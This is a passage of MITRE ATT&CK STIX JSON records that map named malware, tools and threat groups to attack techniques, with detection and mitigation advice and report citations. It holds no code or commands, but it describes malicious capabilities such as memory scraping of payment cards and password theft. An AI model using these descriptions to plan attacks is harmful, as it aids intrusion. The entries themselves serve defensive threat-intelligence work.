packed.(Citation: Unit 42 VERMIN Jan 2018)", "relationship_type": "uses", "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1422f68c-e962-4a13-8074-77f5b99b7718", "type": "relationship", "created": "2019-12-30T21:41:03.545Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-18T17:05:44.628Z", "description": "Do not allow administrator accounts that have permissions to add component software on these services to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems. 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Retrieved February 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[QuietSieve](https://attack.mitre.org/software/S0686) can use HTTPS in C2 communications.(Citation: Microsoft Actinium February 2022)", "modified": "2022-04-15T12:28:00.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--03eb4a05-6a02-43f6-afb7-3c7835501828", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1427027f-0fd1-4781-b4b3-06dc8e6e9998", "type": "relationship", "created": "2019-04-02T16:20:41.741Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "source_name": "FireEye WannaCry 2017"}, {"description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. 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(2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}, {"source_name": "Microsoft Analyzing Solorigate Dec 2020", "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . 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(2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.590Z", "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a PasswordRecoveryPacket module for recovering browser passwords.(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--14358f61-0f7e-404b-bbf5-1219f1079c51", "type": "relationship", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.876Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may backdoor web servers with web shells to establish persistent access to systems. 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Retrieved June 8, 2016.", "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"}]}, {"type": "relationship", "id": "relationship--1436e328-e692-4dbc-adfd-cf1024a98b2e", "created": "2020-03-25T13:57:35.899Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "US-CERT Volgmer 2 Nov 2017", "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}, {"source_name": "US-CERT Volgmer Nov 2017", "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"}, {"source_name": "Symantec Volgmer Aug 2014", "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", "url": "https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:40:35.184Z", "description": "[Volgmer](https://attack.mitre.org/software/S0180) installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry. Some [Volgmer](https://attack.mitre.org/software/S0180) variants also install .dll files as services with names generated by a list of hard-coded strings.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)", "relationship_type": "uses", "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--143dbc8a-0b00-4510-aacf-96437d87ea2b", "type": "relationship", "created": "2020-06-15T20:49:55.503Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Dyreza November 2015", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/", "description": "hasherezade. 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Retrieved June 15, 2020."}], "modified": "2020-06-15T20:49:55.503Z", "description": "[Dyre](https://attack.mitre.org/software/S0024) has the ability to identify the users on a compromised host.(Citation: Malwarebytes Dyreza November 2015)", "relationship_type": "uses", "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--144433cb-ce74-48db-b914-8362254d400e", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor for changes made to files for unexpected modifications to access permissions and attributes  ", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--14476a38-f67d-45ed-a932-6a9c593e0d61", "created": "2023-03-22T04:52:20.783Z", "revoked": false, "external_references": [{"source_name": "ESET LoudMiner June 2019", "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.", "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T04:52:20.783Z", "description": "[LoudMiner](https://attack.mitre.org/software/S0451) has obfuscated various scripts.(Citation: ESET LoudMiner June 2019)\t", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--144b1ada-c2cc-40ae-8a95-a509a63e8bd8", "type": "relationship", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.843Z", "description": "Lack of expected log events may be suspicious. Monitor for telemetry that provides context for modification or deletion of information related to security software processes or services such as Windows Defender definition files in Windows and System log files in Linux.", "source_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf", "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", "source_name": "Symantec W32.Duqu"}], "modified": "2020-03-20T21:53:54.954Z", "description": "[Duqu](https://attack.mitre.org/software/S0038) can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.(Citation: Symantec W32.Duqu)", "relationship_type": "uses", "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--14534636-d9cf-408f-b878-c25d59cd4714", "created": "2022-03-30T14:26:51.850Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for changes made to firmware for unexpected modifications to settings and/or data that may use a hidden file system to conceal malicious activity from users and security tools. [Bootkit](https://attack.mitre.org/techniques/T1542/003)", "modified": "2022-04-20T02:03:49.370Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", "target_ref": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--14568d94-858d-4b8a-af94-88cd17f6ab10", "type": "relationship", "created": "2019-01-30T15:19:14.963Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/", "source_name": "Unit42 Azorult Nov 2018"}, {"description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. 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Retrieved February 12, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:31:34.135Z", "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) scrapes memory for properly formatted payment card data.(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", "relationship_type": "uses", "source_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--14612b22-b271-4e93-8f66-d86ce8e10c29", "type": "relationship", "created": "2020-03-19T13:11:25.521Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Net", "url": "https://support.microsoft.com/en-us/help/556003", "description": "Microsoft. (2017, February 14). Net Commands On Windows Operating Systems. Retrieved March 19, 2020."}], "modified": "2020-03-19T13:14:50.687Z", "description": "[Net](https://attack.mitre.org/software/S0039) commands used with the <code>/domain</code> flag can be used to gather information about and manipulate user accounts on the current domain.(Citation: Microsoft Net)", "relationship_type": "uses", "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1461fa53-bc4f-4ae5-b131-3f6058e6a72a", "type": "relationship", "created": "2020-06-23T18:34:17.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-07T19:43:49.850Z", "description": "Anti-virus can be used to automatically quarantine suspicious files. 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(2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-14T18:29:52.943Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) can retrieve a list of user accounts and usernames from an infected machine.(Citation: MalwareBytes WoodyRAT Aug 2022)", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--147d2e66-25de-42ea-8592-eb51333f595c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist BlackEnergy Nov 2014", "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}], "modified": "2019-06-24T17:08:51.596Z", "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) is capable of taking screenshots.(Citation: Securelist BlackEnergy Nov 2014)", "relationship_type": "uses", "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--147e009d-48db-40bc-999c-70aa1e770a0c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Remsec IOCs", "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"}, {"source_name": "Kaspersky ProjectSauron Full Report", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}, {"source_name": "Kaspersky ProjectSauron Technical Analysis", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}], "modified": "2020-03-11T17:45:33.754Z", "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of listing contents of folders on the victim. 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Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}], "modified": "2021-03-08T18:27:58.799Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) has called various native OS APIs.(Citation: Zscaler Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1489f01c-fe49-4332-99e2-d72c487403b6", "type": "relationship", "created": "2020-07-23T14:20:48.737Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave GoldenSpy June 2020", "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", "description": "Trustwave SpiderLabs. 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Retrieved January 7, 2021."}], "modified": "2021-01-11T20:55:32.817Z", "description": "[GuLoader](https://attack.mitre.org/software/S0561) has been spread in phishing campaigns using malicious web links.(Citation: Unit 42 NETWIRE April 2020)", "relationship_type": "uses", "source_ref": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1492575f-9e3d-4ba0-ae2d-66711120adf6", "type": "relationship", "created": "2021-01-07T20:28:30.077Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "JoeSecurity Egregor 2020", "url": "https://www.joesandbox.com/analysis/318027/0/html", "description": "Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."}], "modified": "2021-01-07T20:28:30.077Z", "description": "[Egregor](https://attack.mitre.org/software/S0554) can perform a  long sleep (greater than or equal to 3 minutes) to evade detection.(Citation: JoeSecurity Egregor 2020)", "relationship_type": "uses", "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1495ec37-a51f-4a50-8c01-427d7c4bb009", "type": "relationship", "created": "2020-11-19T18:31:08.641Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Bazar September 2020", "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", "description": "Sadique, M. and Singh, A. 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(2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "modified": "2022-03-25T16:21:29.189Z", "description": "[Flagpro](https://attack.mitre.org/software/S0696) can check the name of the window displayed on the system.(Citation: NTT Security Flagpro new December 2021) ", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--149f62ba-b5c1-4dcb-b677-a45b72cf5d7b", "type": "relationship", "created": "2020-03-20T17:30:56.508Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Adwind Feb 2016", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf", "description": "Kamluk, V. & Gostev, A. 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Retrieved April 23, 2019."}], "modified": "2020-03-20T17:30:56.508Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) has been distributed as HTA files with VBScript.(Citation: Kaspersky Adwind Feb 2016)\t", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--149fbbae-8c2e-4391-bb93-47375d4a68be", "type": "relationship", "created": "2021-10-11T18:29:51.337Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). 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Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.310Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can use the <code>GetKeyboardLayout</code> API to check if a compromised host's keyboard is set to Persian.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--14a0804b-1b76-43e1-8fe5-96962b1da942", "type": "relationship", "created": "2020-01-15T16:25:22.518Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-15T16:25:22.518Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--14a2bfd9-8be1-47f9-bced-b05ba2179eb5", "type": "relationship", "created": "2019-06-05T17:05:57.748Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fidelis njRAT June 2013", "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf", "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}], "modified": "2019-06-24T18:57:11.405Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) gathers information about opened windows during the initial infection.(Citation: Fidelis njRAT June 2013)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--14a683fd-aa9f-4596-a0e1-5e7ae4c2e4eb", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. 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Retrieved September 27, 2021."}], "modified": "2021-10-12T18:16:40.775Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can use <code>GetProcAddress</code> to help delete malicious strings from memory.(Citation: ATT QakBot April 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--14a9f873-cb86-4238-b6c6-8b0836512fdc", "type": "relationship", "created": "2019-01-29T21:47:53.750Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Micropsia June 2017", "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html", "description": "Rascagneres, P., Mercer, W. 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Retrieved November 13, 2018."}], "modified": "2019-04-17T22:05:05.829Z", "description": "[Micropsia](https://attack.mitre.org/software/S0339) searches for anti-virus software and firewall products installed on the victim\u2019s machine using WMI.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", "relationship_type": "uses", "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--14ab71d4-a158-41f2-82d4-c70f3121fa11", "created": "2022-04-15T19:25:32.243Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) has deployed a modified version of Invoke-Ngrok to expose open local ports to the Internet.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-16T18:19:39.443Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--14acc004-9b77-4a4a-b31d-a8eea459b4bb", "created": "2022-10-13T15:34:18.271Z", "revoked": false, "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). 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Retrieved May 14, 2020.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T15:34:18.271Z", "description": "During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), threat actors sent malicious Word OLE documents to victims.(Citation: McAfee Sharpshooter December 2018)", "relationship_type": "uses", "source_ref": "campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--14adcf50-912a-48d5-87f6-72d2273039aa", "type": "relationship", "created": "2019-10-10T12:39:13.784Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "ESET. (2019, July). MACHETE JUST GOT SHARPER 